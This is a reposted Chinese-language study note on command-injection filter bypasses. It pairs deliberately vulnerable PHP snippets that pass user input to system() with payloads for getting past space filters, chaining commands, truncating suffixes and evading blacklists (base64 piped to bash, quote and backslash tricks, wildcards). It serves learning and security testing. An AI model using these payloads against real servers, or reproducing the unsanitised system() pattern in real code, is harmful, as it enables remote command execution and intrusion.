命令執行繞過筆記


https://www.jianshu.com/p/5e505e3d8075

http://www.4hou.com/reverse/5643.html

cmd1.php

<?php
$cmd=$_GET['cmd'];
echo "執行的語句:";
echo $cmd;
echo "<br>執行結果:";
system($cmd);
?>


首先隨便試試?cmd=ls,正常顯示。

1 空格的過濾

1.1 $IFS

?cmd=cat$IFSkey  

1.2 >或者<>

?cmd=cat>key 
?cmd=cat<>key  

1.3 %09(php環境下)

?cmd=cat%09key     

2 多條命令執行,且有前綴

有時候會出現這種代碼

cmd2.php

<?php
$cmd=$_GET['cmd'];
echo "執行的語句:";
$var='curl '.$cmd;
echo $var;
echo "<br>執行結果:";
system($var);
?>

可以把它理解為curl在線使用吧。?cmd=www.baidu.com,結果如下圖

直接打ls等系統命令就會出錯,因為執行的命令前邊始終有個curl。

2.1 分號;

?cmd=www.baidu.com;ls
值得注意的是ls執行的內容會在網頁最下邊才能看到。  

2.2 &,&&,|,||

這幾個指令有區別,懶得寫了,直接截圖  

2.3 換行符%0a(php環境)

這個怎么個用法呢,先看這條?cmd=%0als  
發現是可以正常執行ls的,那么curl呢?
換行符讓curl孤單的成為一條語句,ls成為一條孤獨的語句,所以就繞過了curl后邊加網址的限制。  

3 存在后綴需要消除后邊的影響

cmd3.php

<?php
$cmd=$_GET['cmd'];
echo "執行的語句:";
$var='curl www.'.$cmd.".com";
echo $var;
echo "<br>執行結果:";
//system($cmd);
system($var);
?>

這次把后邊也堵上了,所以要用到類似於sql注入中#的截斷作用的字符。

3.1 %00(需要php環境)

?cmd=;ls%00  
正常執行ls,原來命令時ls.com,加入%00后,.com就沒了 

3.2 %20%23

?cmd=;ls%20%23  

4. 黑名單繞過

4.1 拼接

?cmd=a=c;b=at;c=key;$a$b $c

4.2 base64編碼

?cmd=ls
?cmd=echo "bHM="|base64 -d|bash  

4.3 單雙引號

?cmd=cat key
?cmd=ca""t k''ey  

4.4 反斜杠

?cmd=cat key
?cmd=c\a\t k\e\y  

4.5 通配符* ?

一個?代表一個字符,*代表若干字符。  
其實早就有通配符繞過英文數字的限制提權了。  
?cmd=/bin/cat key
?cmd=/???/??? ??? 
我也不知道他到底執行的什么命令,不過肯定有/bin/cat key這一條 
內容很多,最好是結合字母  /bi?/ca? ?ey  

4.6 繞過ip中的.,雖然不知道有啥用,先記下來。

http://www.msxindl.com/tools/ip/ip_num.asp

4.7沒看,順手抄下來,看win下干嘛。。。

4.8 無回顯,還沒看,看到整理下來,順便也學一下。

4.9 突破長度限制

5.構造字符 利用expr

這個其實是黑名單繞過的,但是我覺得很妙,就把它單獨拿出來說了。
可以從文件中或者環境變量獲取某些字符

可以用export查看一些環境變量,而$pwd這個第一個字符一定是/  
expr substr $PWD 1 1(輸出為)
export可以查看變量  
如果過濾了一下字符,可以沖這些變量中拼湊出來  

6.直接截圖


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM